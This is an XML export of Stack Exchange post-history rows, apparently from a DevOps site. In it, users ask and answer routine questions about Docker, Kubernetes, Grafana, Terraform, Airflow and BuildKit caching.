  <row Id="34163" PostHistoryTypeId="5" PostId="11160" RevisionGUID="7df49058-8d86-4d39-95d5-4ede44b4151c" CreationDate="2020-03-25T10:00:19.820" UserId="17329" Comment="added 106 characters in body" Text="I am trying to make a view in Grafana that would return the result of node_memory_MemFree_bytes{job=&quot;node-exporter&quot;}} &lt; 1000000000 by nodes from Prometheus datasource (from Prometheus-operator within a k8s cluster), how can I get that extra label?&#xD;&#xA;I get the result only in IP:port and I want to filter out in alert later the master nodes and for the view as well.&#xD;&#xA;From what I understand I need to get the node names somehow within the job, but I don't understand where should I edit that.&#xD;&#xA;&#xD;&#xA;https://kubernetes.slack.com/archives/CFFDS2Z7F/p1585077843020700&#xD;&#xA;https://kubernetes.slack.com/archives/CD0T3TQUR/p1585130603000300&#xD;&#xA;https://cloud-native.slack.com/archives/C167KFM6C/p1585130676000600" ContentLicense="CC BY-SA 4.0" />
  <row Id="34164" PostHistoryTypeId="2" PostId="11162" RevisionGUID="9c5d38e9-aaf8-413f-9d20-f586f8d01954" CreationDate="2020-03-25T11:40:37.150" UserId="20328" Text="You either have to have the login information in order to connect to the database, or, you have to configure your database server to allow access to Azure Services. This means that the SQL Database and server and the Azure DevOps pipelines have to be part of the same account (not necessarily the same login, but Azure AD). I'd lean towards requiring the connection information rather than open up everything broadly between all your Azure services." ContentLicense="CC BY-SA 4.0" />
  <row Id="34165" PostHistoryTypeId="2" PostId="11163" RevisionGUID="d90b0a80-6ddc-4a20-9236-289fa3fb1548" CreationDate="2020-03-25T12:14:18.657" UserId="20362" Text="Could you wrap the assignment to value using the [try type conversion function][1]?&#xD;&#xA;&#xD;&#xA;    output primary_LB_Subnet {&#xD;&#xA;      value = try(aws_subnet.subnet_loadbalancer[0], null)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/configuration/functions/try.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34169" PostHistoryTypeId="2" PostId="11165" RevisionGUID="019c20b9-d993-429b-bbe4-a9787dea2e86" CreationDate="2020-03-25T15:02:01.407" UserId="20366" Text="The organization I work for has a tightly air-gapped network.&lt;br/&gt;&#xD;&#xA;I need to be able to run my applications in docker containers, so I need to install Docker Engine on Windows Server 2019.&lt;br/&gt;&#xD;&#xA;I have followed [these instructions][1] for air-gapped network installation, but when I try to run the `$null = Install-WindowsFeature containers` command in Powershell I get the following error message:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt; Install-WindowsFeature: ArgumentNotValid: the role,role service, or feature name is not valid: 'containers'. The name was not found.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;I tried to install the containers feature from the Server Manager GUI but couldn't find it.&#xD;&#xA;&#xD;&#xA;I'm running windows server 2019 Essentials as a VM on VMware workstation Pro 14.&lt;br/&gt;&#xD;&#xA;Any ideas as to what I'm doing wrong?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/ee/docker-ee/windows/docker-ee/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34170" PostHistoryTypeId="1" PostId="11165" RevisionGUID="019c20b9-d993-429b-bbe4-a9787dea2e86" CreationDate="2020-03-25T15:02:01.407" UserId="20366" Text="Can't install Docker Engine On Windows Server 2019 in an Air Gapped network" ContentLicense="CC BY-SA 4.0" />
  <row Id="34171" PostHistoryTypeId="3" PostId="11165" RevisionGUID="019c20b9-d993-429b-bbe4-a9787dea2e86" CreationDate="2020-03-25T15:02:01.407" UserId="20366" Text="&lt;docker&gt;&lt;containers&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34175" PostHistoryTypeId="2" PostId="11167" RevisionGUID="41babe4d-72a7-4cb3-a1f1-20c35c19d6e1" CreationDate="2020-03-25T22:32:10.810" UserId="20376" Text="I have a Dockerfile with a CMD, it calls a .sh file that runs a Django app&#xD;&#xA;( makemigrations, migrate and uwsgi )&#xD;&#xA;And that runs fine in a pod.&#xD;&#xA;&#xD;&#xA;There's a django admin script that runs infinitely that I'd like to run in the same pod.&#xD;&#xA;&#xD;&#xA;- Per the docker docs I can't have a second command in the Dockerfile&#xD;&#xA;- Adding the script on the sh file wouldn't work because the both processes ( the app or command script ) are running and don't end so the second one never runs.&#xD;&#xA; - If I go in the pod and run exec -it bash to manually run the script i can't leave the pod without killing the process (Ctrl-C) or can  I? &#xD;&#xA; &#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34176" PostHistoryTypeId="1" PostId="11167" RevisionGUID="41babe4d-72a7-4cb3-a1f1-20c35c19d6e1" CreationDate="2020-03-25T22:32:10.810" UserId="20376" Text="Running Two infinite commands on single pod/image" ContentLicense="CC BY-SA 4.0" />
  <row Id="34177" PostHistoryTypeId="3" PostId="11167" RevisionGUID="41babe4d-72a7-4cb3-a1f1-20c35c19d6e1" CreationDate="2020-03-25T22:32:10.810" UserId="20376" Text="&lt;dockerfile&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34178" PostHistoryTypeId="2" PostId="11168" RevisionGUID="b36bec36-fbb1-4745-9c12-19eb8b366e14" CreationDate="2020-03-25T23:55:25.490" UserId="20377" Text="LDAP in FreeIPA, it can create groups, roles and set permissions. Applications such as Jenkins, Github also has roles feature.&#xD;&#xA;&#xD;&#xA;2 questions:&#xD;&#xA;&#xD;&#xA;1. Can roles feature be used in every application? (At least Jenkins and Github may use groups feature in LDAP)&#xD;&#xA;2. If want to control several users can access Jenkins, several users can access Github, is it possible to control it in LDAP side? If deploy multiple LDAP server for different applications will realize it, but that's complex." ContentLicense="CC BY-SA 4.0" />
  <row Id="34179" PostHistoryTypeId="1" PostId="11168" RevisionGUID="b36bec36-fbb1-4745-9c12-19eb8b366e14" CreationDate="2020-03-25T23:55:25.490" UserId="20377" Text="Is it possible to set role in FreeIPA to use for applications as Jenkins, Github?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34180" PostHistoryTypeId="3" PostId="11168" RevisionGUID="b36bec36-fbb1-4745-9c12-19eb8b366e14" CreationDate="2020-03-25T23:55:25.490" UserId="20377" Text="&lt;jenkins&gt;&lt;github&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34181" PostHistoryTypeId="2" PostId="11169" RevisionGUID="f4733aa0-2276-4ab7-8d40-50ca2fb882aa" CreationDate="2020-03-26T00:05:49.430" UserId="16059" Text="We have numerous airflow instances running in different organizations/teams around the company.  While we have built a highly scaleable centralized airflow service, we do have cases where we need to depend on another airflow instance to run a dag.&#xD;&#xA;&#xD;&#xA;Our DevOps team often gets tasked with running larger orchestrations across teams, and we prefer to keep a highly detailed view of all tasks, even if they are in a remote airflow.&#xD;&#xA;&#xD;&#xA;Is there any good way to monitor, with full fidelity, all of the tasks in a remote airflow?  Something similar to the sub-dag operator for a remote airflow would be sufficient." ContentLicense="CC BY-SA 4.0" />
  <row Id="34182" PostHistoryTypeId="1" PostId="11169" RevisionGUID="f4733aa0-2276-4ab7-8d40-50ca2fb882aa" CreationDate="2020-03-26T00:05:49.430" UserId="16059" Text="Apache Airflow federation - observe remote dag in full detail?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34183" PostHistoryTypeId="3" PostId="11169" RevisionGUID="f4733aa0-2276-4ab7-8d40-50ca2fb882aa" CreationDate="2020-03-26T00:05:49.430" UserId="16059" Text="&lt;orchestration&gt;&lt;apache-airflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34188" PostHistoryTypeId="2" PostId="11171" RevisionGUID="96438bc2-cd91-472b-8dd5-434dc8d94d72" CreationDate="2020-03-26T12:06:56.340" UserId="3533" Text="Though it's not advised to have multiple processes inside a container, but you have 2 options:&#xD;&#xA;&#xD;&#xA;Use a process manager like supervisord or wrapper script to use as CMD (meta code)&#xD;&#xA;&#xD;&#xA;    start_first_process_in_bg&#xD;&#xA;    if START_FAILED&#xD;&#xA;      exit&#xD;&#xA;    start_second_process_in_bg&#xD;&#xA;    if START_FAILED&#xD;&#xA;      exit&#xD;&#xA;    &#xD;&#xA;    while sleep 5; do&#xD;&#xA;      check_first_process&#xD;&#xA;      check_second_process&#xD;&#xA;      &#xD;&#xA;      if ANY_PROCESS_FAILED; then&#xD;&#xA;        exit&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34189" PostHistoryTypeId="2" PostId="11172" RevisionGUID="3b83b147-0ffe-42b7-91de-122ac06d28a7" CreationDate="2020-03-26T12:43:35.360" UserId="20386" Text="I want to update the machine type of my Google Cloud instance, but this takes several minutes to update (second generation instance). The instance will be unavailable until the instance has restarted. Because of this downtime, we have to update the machine type at night time, so our visitors are the least troubled by this update.&#xD;&#xA;&#xD;&#xA;Is there a workflow how we can minimise this downtime to zero or maybe a few seconds? I already thought about possible solutions like adding a temporary failover or maybe make use of read replica." ContentLicense="CC BY-SA 4.0" />
  <row Id="34190" PostHistoryTypeId="1" PostId="11172" RevisionGUID="3b83b147-0ffe-42b7-91de-122ac06d28a7" CreationDate="2020-03-26T12:43:35.360" UserId="20386" Text="Google Cloud SQL: Can I change machine type with zero downtime on my database clients?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34191" PostHistoryTypeId="3" PostId="11172" RevisionGUID="3b83b147-0ffe-42b7-91de-122ac06d28a7" CreationDate="2020-03-26T12:43:35.360" UserId="20386" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34192" PostHistoryTypeId="2" PostId="11173" RevisionGUID="24cc2909-2a00-415a-b73c-6f4afb9ae5cc" CreationDate="2020-03-26T14:09:42.287" UserId="20388" Text="Imaging I have 2 sets of environment(Blue and Green)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;           +&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           |&#xD;&#xA;           v&#xD;&#xA;   +-------+---------+&#xD;&#xA;   |     Proxy/LB    |&#xD;&#xA;   |                 |&#xD;&#xA;   +--+-------------++&#xD;&#xA;      |             |&#xD;&#xA;+-----++          +-+----+&#xD;&#xA;|      |          |      |&#xD;&#xA;|APP v1|          |APP v2|&#xD;&#xA;|Blue  |          |Green |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;   |                 |&#xD;&#xA;+--+---+          +--+---+&#xD;&#xA;| DB   |          | DB   |&#xD;&#xA;| Blue | DB Sync  | Green|&#xD;&#xA;|      &lt;----------&gt;      |&#xD;&#xA;+------+          +------+&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The version Blue is currently running and green is deployed and all DB replication completed. Now I want switch traffic to green environment. In this case, what is the best way to manage the DB trasactions?(I have one thought below)&#xD;&#xA;&#xD;&#xA;* Forword the new traffic to green and wait for exiting blue's environment's trasactions complete. Once all are done, switch traffic completly to green.&#xD;&#xA;&#xD;&#xA;If above is true, have to little extra work to forword only new traffic to green.&#xD;&#xA;&#xD;&#xA;Or what is the best to do Blue Green in this case?&#xD;&#xA;&#xD;&#xA;**PS:**&#xD;&#xA;&#xD;&#xA;* We are using Nginx proxy&#xD;&#xA;* All servers are baremetal, no cloud!&#xD;&#xA;* 2 standalone DB setups(Postgresql with master-slave) " ContentLicense="CC BY-SA 4.0" />
  <row Id="34193" PostHistoryTypeId="1" PostId="11173" RevisionGUID="24cc2909-2a00-415a-b73c-6f4afb9ae5cc" CreationDate="2020-03-26T14:09:42.287" UserId="20388" Text="Blue Green Deployment DB transactions management" ContentLicense="CC BY-SA 4.0" />
  <row Id="34194" PostHistoryTypeId="3" PostId="11173" RevisionGUID="24cc2909-2a00-415a-b73c-6f4afb9ae5cc" CreationDate="2020-03-26T14:09:42.287" UserId="20388" Text="&lt;deployment&gt;&lt;bluegreen&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34195" PostHistoryTypeId="2" PostId="11174" RevisionGUID="4e313fa7-e444-4928-8e47-18fca8b83a03" CreationDate="2020-03-26T16:10:16.317" UserId="12955" Text="I was trying to build a Docker image from a `Dockerfile` and I had a line in there which reads:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;RUN [&quot;echo&quot;, &quot;'anything'&quot;, &quot;&gt;&quot;, &quot;./a_file&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This didn't work, and I eventually had to use:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;RUN [&quot;sh&quot;, &quot;-c&quot;, &quot;echo 'anything' &gt; ./a_file&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But before I fixed the instruction, I used [`dive`](https://github.com/wagoodman/dive) to see what that line changed inside the image. To my surprise, the `a_file` was not created; instead an empty `/etc/resolv.conf` file was created instead.&#xD;&#xA;&#xD;&#xA;The `dive` output below shows the modified files for that layer.&#xD;&#xA;&#xD;&#xA;    │ Layers ├─────────────────────────────────────────────────────────────────────────── ┃ ● Current Layer Contents ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&#xD;&#xA;    Cmp   Size  Command                                                                   Permission     UID:GID       Size  Filetree&#xD;&#xA;        4.4 MB  FROM 45c1c01c359b59b                                                      drwxr-xr-x         0:0        0 B  └── etc&#xD;&#xA;         57 MB  addgroup -g 1000 node     &amp;&amp; adduser -u 1000 -G node -s /bin/sh -D node   -rwxr-xr-x         0:0        0 B      └── resolv.conf        &#xD;&#xA;        5.1 MB  apk add --no-cache --virtual .build-deps-yarn curl gnupg tar   &amp;&amp; for key                                                              &#xD;&#xA;           0 B  WORKDIR /home/node/                                                                                                                       &#xD;&#xA;        716 MB  COPY /home/node/ ./ # buildkit                                                                                                              &#xD;&#xA;           0 B  RUN echo 'anything' &gt; ./a_file # buildkit                                                                                   &#xD;&#xA;                                                                                                                                                       &#xD;&#xA;    │ Layer Details ├────────────────────────────────────────────────────────────────────                                                                &#xD;&#xA;                                                                                                                                                         &#xD;&#xA;    Tags:   (unavailable)                                                                                                                                &#xD;&#xA;    Id:     6af1a38f29e248b7fb1787b36f24edf492cd3b71ebbd0045233ae402c9c0db8c                                                                              &#xD;&#xA;    Digest: sha256:9743570920cc3cf0c2009ec80a2a24828b869fe53f245f30ccb3d8020d6f0195                                                                   &#xD;&#xA;    Command:                                                                                                                                            &#xD;&#xA;    RUN echo 'anything' &gt; ./a_file # buildkit                                                                                                         &#xD;&#xA;                                                                                                                                                      &#xD;&#xA;    │ Image Details ├────────────────────────────────────────────────────────────────────                                                                &#xD;&#xA;                                                                                                                                                                 &#xD;&#xA;                                                                                                                                                            &#xD;&#xA;    Total Image size: 782 MB                                                                                                                            &#xD;&#xA;    Potential wasted space: 391 kB                                                                                                                    &#xD;&#xA;    Image efficiency score: 99 %                                                                                                                         &#xD;&#xA;                                                                                                                                                         &#xD;&#xA;    Count   Total Space  Path                                                                                                                              &#xD;&#xA;        2        167 kB  /root/.gnupg/pubring.kbx                                                                                                          &#xD;&#xA;        2        153 kB  /root/.gnupg/pubring.kbx~                                                                                                       &#xD;&#xA;        3         34 kB  /lib/apk/db/installed                                                                                                           &#xD;&#xA;        3         29 kB  /lib/apk/db/scripts.tar                                                                                                          &#xD;&#xA;    ▏^C Quit ▏Tab Switch view ▏^F Filter ▏Space Collapse dir ▏^Space Collapse all dir ▏^A Added ▏^R Removed ▏^M Modified ▏^U Unmodified ▏^B Attributes ▏                       &#xD;&#xA;&#xD;&#xA;I'd expect no files would be created, but why, specifically, was the `/etc/resolv.conf` created?&#xD;&#xA;&#xD;&#xA;Note that the base image is [`node:8.15.0-alpine`](https://hub.docker.com/layers/node/library/node/8.15.0-alpine/images/sha256-834babc5ed2c4d97ad0cfb26637517e4faa86ff938011180ba983546aa1055cf?context=explore)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34196" PostHistoryTypeId="1" PostId="11174" RevisionGUID="4e313fa7-e444-4928-8e47-18fca8b83a03" CreationDate="2020-03-26T16:10:16.317" UserId="12955" Text="Why does running echo with exec form in a Dockerfile create /etc/resolv.conf?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34197" PostHistoryTypeId="3" PostId="11174" RevisionGUID="4e313fa7-e444-4928-8e47-18fca8b83a03" CreationDate="2020-03-26T16:10:16.317" UserId="12955" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;dns&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34198" PostHistoryTypeId="2" PostId="11175" RevisionGUID="6a822f38-0dea-4703-a899-d2f0c740e134" CreationDate="2020-03-26T17:47:37.660" UserId="9024" Text="folks!&#xD;&#xA;&#xD;&#xA;I use GitLab's pipelines to describe the deployment process. And, as part of it, I build Docker images. For that purpose, I use Docker-in-Docker to build those images (i.e. download the `Docker-in-Docker` image and do all the Docker-stuff, inside of it).&#xD;&#xA;&#xD;&#xA;I also set to use Docker Buildkit features. And one of them is `--cache-from` option (which decreases build time). Which seems doesn't work with `Docker-in-Docker` (at least, for me).&#xD;&#xA;&#xD;&#xA;Here's the pipeline's config:&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;  - build&#xD;&#xA;  - purge&#xD;&#xA;  - deploy&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  DOCKER_HOST: tcp://localhost:2375&#xD;&#xA;  DOCKER_TLS_CERTDIR: &quot;&quot;&#xD;&#xA;  DOCKER_BUILDKIT: 1&#xD;&#xA;  LATEST: ${CI_REGISTRY_IMAGE}/${CI_PROJECT_NAME}:${CI_COMMIT_REF_SLUG}&#xD;&#xA;  IMAGE_COMMIT_TAG: ${CI_REGISTRY_IMAGE}/${CI_PROJECT_NAME}:${CI_COMMIT_SHORT_SHA}&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  - docker:dind&#xD;&#xA;&#xD;&#xA;build:&#xD;&#xA;    stage: build&#xD;&#xA;    image: docker:stable&#xD;&#xA;    script:&#xD;&#xA;        - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} ${CI_REGISTRY}&#xD;&#xA;        - docker build --cache-from ${LATEST} -t ${LATEST} -t ${IMAGE_COMMIT_TAG} .&#xD;&#xA;        - docker push ${IMAGE_COMMIT_TAG}&#xD;&#xA;        - docker push ${LATEST}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The log output shows the `BuildKit` is used, but there's nothing about using of 'CACHE'. And, the result of it -- 'build' stage takes much more time.&#xD;&#xA;&#xD;&#xA;Please, your suggestions, ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34199" PostHistoryTypeId="1" PostId="11175" RevisionGUID="6a822f38-0dea-4703-a899-d2f0c740e134" CreationDate="2020-03-26T17:47:37.660" UserId="9024" Text="Build Docker images with DinD and BuildKit" ContentLicense="CC BY-SA 4.0" />
  <row Id="34200" PostHistoryTypeId="3" PostId="11175" RevisionGUID="6a822f38-0dea-4703-a899-d2f0c740e134" CreationDate="2020-03-26T17:47:37.660" UserId="9024" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34201" PostHistoryTypeId="2" PostId="11176" RevisionGUID="f7d6b639-232c-4d84-82c9-bf07c63a3750" CreationDate="2020-03-26T17:56:37.697" UserId="7730" Text="The `/etc/resolv.conf` is injected as a bind mount in containers by the docker engine with settings local to that docker engine. An empty file in the parent filesystem is an artifact of that bind mount. You can safely ignore that.&#xD;&#xA;&#xD;&#xA;If `a_file` is not being created, check that the file is not in a volume. Temporary (anonymous) volumes are created with the temporary containers in a RUN command, and changes to a volume are not included in changes to the container filesystem." ContentLicense="CC BY-SA 4.0" />
  <row Id="34206" PostHistoryTypeId="2" PostId="11179" RevisionGUID="7df03edf-3836-4133-a1ab-5966048ee10f" CreationDate="2020-03-27T00:07:46.760" UserId="7730" Text="Caching of layers with buildkit in an external registry requires an extra step or two depending on how you want to cache your layers. The easy option is to include a build arg that enables the inline cache:&#xD;&#xA;&#xD;&#xA;    docker build --build-arg BUILDKIT_INLINE_CACHE=1 --cache-from ${LATEST} -t ${LATEST} -t ${IMAGE_COMMIT_TAG} .&#xD;&#xA;&#xD;&#xA;You can also cache to a local file, or push the cache to a different registry image rather than inline with the image you pushed. Getting access to these options is best done by installing buildkit directly or using buildx which is a CLI plugin for managing buildkit. You can install buildx separately but in current releases it's available with experimental CLI options that can be enabled with `export DOCKER_CLI_EXPERIMENTAL=enabled`. I believe you'd need to create a container based builder for all of the buildkit options, which can be done with:&#xD;&#xA;&#xD;&#xA;    docker buildx create --use --driver docker-container --name local ${DOCKER_HOST:-unix:///var/run/docker.sock}&#xD;&#xA;&#xD;&#xA;Then you should be able to run something like:&#xD;&#xA;&#xD;&#xA;    docker buildx build --cache-from ${IMG_CACHE} --cache-to ${IMG_CACHE} -t ${LATEST} -t ${IMAGE_COMMIT_TAG} .&#xD;&#xA;&#xD;&#xA;More documentation on the buildkit caching is available at: https://github.com/moby/buildkit#export-cache&#xD;&#xA;&#xD;&#xA;More details on buildx is available at: https://github.com/docker/buildx" ContentLicense="CC BY-SA 4.0" />
  <row Id="34207" PostHistoryTypeId="5" PostId="11179" RevisionGUID="a91b544c-b37b-427f-be64-78cda2183fed" CreationDate="2020-03-27T00:14:09.653" UserId="7730" Comment="added 312 characters in body" Text="Caching of layers with buildkit in an external registry requires an extra step or two depending on how you want to cache your layers. The easy option is to include a build arg that enables the inline cache:&#xD;&#xA;&#xD;&#xA;    docker build --build-arg BUILDKIT_INLINE_CACHE=1 --cache-from ${LATEST} -t ${LATEST} -t ${IMAGE_COMMIT_TAG} .&#xD;&#xA;&#xD;&#xA;Note that the inline cache only caches layers for the target stage that was pushed in the image, so other states in a multi-stage build would need to be built and cached separately, or rebuilt without caching, neither of which is ideal.&#xD;&#xA;&#xD;&#xA;You can also cache to a local file, or push the cache to a different registry image rather than inline with the image you pushed. Unfortunately the standard `docker build` CLI doesn't have access to all the buildkit flags to enable this. Instead, you can install buildkit directly or use buildx which is a CLI plugin for managing buildkit. You can install buildx separately but in current releases it's available with experimental CLI options that can be enabled with `export DOCKER_CLI_EXPERIMENTAL=enabled`. I believe you'd need to create a container based builder for all of the buildkit options, which can be done with:&#xD;&#xA;&#xD;&#xA;    docker buildx create --use --driver docker-container --name local ${DOCKER_HOST:-unix:///var/run/docker.sock}&#xD;&#xA;&#xD;&#xA;Then you should be able to run something like:&#xD;&#xA;&#xD;&#xA;    docker buildx build --cache-from ${IMG_CACHE} --cache-to ${IMG_CACHE} -t ${LATEST} -t ${IMAGE_COMMIT_TAG} .&#xD;&#xA;&#xD;&#xA;More documentation on the buildkit caching is available at: https://github.com/moby/buildkit#export-cache&#xD;&#xA;&#xD;&#xA;More details on buildx is available at: https://github.com/docker/buildx" ContentLicense="CC BY-SA 4.0" />
  <row Id="34209" PostHistoryTypeId="2" PostId="11180" RevisionGUID="9647e654-c4df-4cb1-8459-6d4deb0582e4" CreationDate="2020-03-27T05:03:58.617" UserId="20398" Text="I am researching different types of `loadbalancing` methods available through kubernetes .I want to implement &amp; see before deciding on one .I'm stuck at how to actually define `typeof-loadbalancer`.If it isn't possible through `helm`  can anyone suggest other options please ." ContentLicense="CC BY-SA 4.0" />
  <row Id="34210" PostHistoryTypeId="1" PostId="11180" RevisionGUID="9647e654-c4df-4cb1-8459-6d4deb0582e4" CreationDate="2020-03-27T05:03:58.617" UserId="20398" Text="Is there a way through which I can control type of load balancer like round robin , least-connections etc using helm charts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34211" PostHistoryTypeId="3" PostId="11180" RevisionGUID="9647e654-c4df-4cb1-8459-6d4deb0582e4" CreationDate="2020-03-27T05:03:58.617" UserId="20398" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;helm&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34216" PostHistoryTypeId="2" PostId="11182" RevisionGUID="d3686e80-71f9-46ae-98a1-e3150e900d59" CreationDate="2020-03-27T09:37:32.773" UserId="20101" Text="Well there are 2 possibble options.&#xD;&#xA; &#xD;&#xA;One is to create a LoadBalancer type for each service you want to be exposed. In case you have just one service that's great. That's rarely the case of course :) &#xD;&#xA;&#xD;&#xA;If you build your k8s cluster properly ( having Prometheus-Operator doing the monitoring for example ) most likely besides the business logic service/s, you would want to expose  internal cluster valuable services like Grafana.&#xD;&#xA;&#xD;&#xA;That's why even if you have just 1 service, for future extension of such type of need the best would be to use an Ingress resource. It providees a way to expose multiple services through a single IP address —  HTTP level (network layer 7). &#xD;&#xA;&#xD;&#xA;You could play with HTTP headers essentially and do some path/host routing." ContentLicense="CC BY-SA 4.0" />
  <row Id="34217" PostHistoryTypeId="5" PostId="11182" RevisionGUID="1a8d9ada-1aab-4a4a-bfd1-a3491b6368d0" CreationDate="2020-03-27T09:50:00.663" UserId="20101" Comment="added 741 characters in body" Text="Well there are 2 possibble options.&#xD;&#xA; &#xD;&#xA;One is to create a **LoadBalancer** type for each service you want to be exposed. In case you have just one service that's great. That's rarely the case of course :) &#xD;&#xA;&#xD;&#xA;If you build your k8s cluster properly ( having Prometheus-Operator doing the monitoring for example ) most likely besides the business logic service/s, you would want to expose  internal cluster valuable services like Grafana.&#xD;&#xA;&#xD;&#xA;That's why even if you have just 1 service, for future extension of such type of need the best would be to use an **Ingress** resource. It providees a way to expose multiple services through a single IP address —  HTTP level (network layer 7). &#xD;&#xA;&#xD;&#xA;You could play with HTTP headers essentially and do some path/host routing.&#xD;&#xA;&#xD;&#xA;You express the definition for your object and helm would do the installation. Another option is to use a tool like ArgoCD, basically sticking to GitOps policy.&#xD;&#xA;&#xD;&#xA;Regarding the definition, it follows the standart K8s scheme [ **apiVersion**, **kind**, **metadata**, **spec** fields]. Example would be an Ingress created from AWS-Ingress-Controller.&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: ingress&#xD;&#xA;  namespace: management&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: alb&#xD;&#xA;    alb.ingress.kubernetes.io/scheme: internet-facing&#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;  - host: grafana.com&#xD;&#xA;    http:&#xD;&#xA;      paths:&#xD;&#xA;      - backend:&#xD;&#xA;          serviceName: grafana&#xD;&#xA;          servicePort: 80&#xD;&#xA;        path: /*&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34218" PostHistoryTypeId="5" PostId="11182" RevisionGUID="075d73a1-96f2-413f-a593-361b788f9e2c" CreationDate="2020-03-27T10:04:37.937" UserId="20101" Comment="added 343 characters in body" Text="Well there are 2 possibble options.&#xD;&#xA; &#xD;&#xA;One is to create a **LoadBalancer** type for each service you want to be exposed. In case you have just one service that's great. That's rarely the case of course :) &#xD;&#xA;&#xD;&#xA;If you build your k8s cluster properly ( having Prometheus-Operator doing the monitoring for example ) most likely besides the business logic service/s, you would want to expose  internal cluster valuable services like Grafana.&#xD;&#xA;&#xD;&#xA;That's why even if you have just 1 service, for future extension of such type of need the best would be to use an **Ingress** resource. It providees a way to expose multiple services through a single IP address —  HTTP level (network layer 7). &#xD;&#xA;&#xD;&#xA;You could play with HTTP headers essentially and do some path/host routing.&#xD;&#xA;&#xD;&#xA;You express the definition for your object and helm would do the installation. Another option is to use a tool like ArgoCD, basically sticking to GitOps policy.&#xD;&#xA;&#xD;&#xA;A fundamnetal knowledge is to be aware that the Load Balancer/Ingress would forward the traffic to the service, not the pods. Services are abstracted entities by kube-proxy, by default kube-proxy uses a round-robin algorithm.&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/services-networking/service/&#xD;&#xA;&#xD;&#xA;Regarding the definition, it follows the standart K8s scheme [ **apiVersion**, **kind**, **metadata**, **spec** fields]. Example would be an Ingress created from AWS-Ingress-Controller.&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  name: ingress&#xD;&#xA;  namespace: management&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: alb&#xD;&#xA;    alb.ingress.kubernetes.io/scheme: internet-facing&#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;  - host: grafana.com&#xD;&#xA;    http:&#xD;&#xA;      paths:&#xD;&#xA;      - backend:&#xD;&#xA;          serviceName: grafana&#xD;&#xA;          servicePort: 80&#xD;&#xA;        path: /*&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34219" PostHistoryTypeId="2" PostId="11183" RevisionGUID="cc7eeddf-c19c-4353-9df5-84a0bb51b61b" CreationDate="2020-03-27T12:54:12.283" UserId="20262" Text="Any advice on a good book explaining how things work in the industrial system test environment and production environment?&#xD;&#xA;It's my first time in this topic, so I would need a general overview.&#xD;&#xA;&#xD;&#xA;Key words: builds, web logic levels, machines, clusters, logs, cache, balancers, UDC&#xD;&#xA;&#xD;&#xA;(If you thing I posted this question in the wrong place, please, could you point me the right one? Thanks)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34220" PostHistoryTypeId="1" PostId="11183" RevisionGUID="cc7eeddf-c19c-4353-9df5-84a0bb51b61b" CreationDate="2020-03-27T12:54:12.283" UserId="20262" Text="Looking for a good book explaining how things work in the industrial system test environment and production environment" ContentLicense="CC BY-SA 4.0" />
